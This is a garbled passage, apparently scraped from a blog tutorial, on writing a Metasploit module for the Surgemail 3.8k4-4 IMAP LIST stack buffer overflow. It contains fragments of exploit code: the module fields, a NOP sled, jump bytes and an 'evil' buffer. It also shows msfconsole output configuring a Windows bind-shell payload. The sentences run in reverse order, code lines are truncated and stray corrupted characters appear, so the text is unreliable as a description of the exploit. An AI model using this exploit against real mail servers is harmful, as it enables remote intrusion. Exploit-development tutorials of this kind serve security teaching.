Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Payload options (windows/shell/bind_tcp):ĮXITFUNC thread yes Exit technique: seh, thread, processĠ Windows Universal Testing our Exploit Module IMAPUSER test no The username to authenticate as
SURGEMAIL LOGIN PASSWORD
IMAPPASS test no The password for the specified username Name Current Setting Required Description Msf exploit( surgemail_list) > show options Windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow Searching loaded modules for pattern 'surgemail'.
Let’s see if it works: msf > search surgemail We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work.We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, we’ll pad the payload on our own.
SURGEMAIL LOGIN CODE
The most important things to notice in the previous exploit code are the following: Njump = "\圎9\xDD\xD7\xFF\xFF" # And Back Again Baby )Įvil = nopes + payload.encoded + njump + sjump +. Nopes = "\x90"*(payload_) # to be fixed with make_nops() If (banner and banner =~ /(Version 3.8k4-4)/) 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, Version 3.8k4-4 by sending an overly long LIST command. This module exploits a stack overflow in the Surgemail IMAP Server 'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow', # Framework web site for more information on licensing and terms of use. # redistribution and commercial restrictions. # This file is part of the Metasploit Framework and may be subject to Let’s take a look at our new exploit module below: # With what we have learned, we write the exploit and save it to windows/imap/surgemail_list.rb. Security Operations for Beginners (SOC-100).
0 kommentar(er)
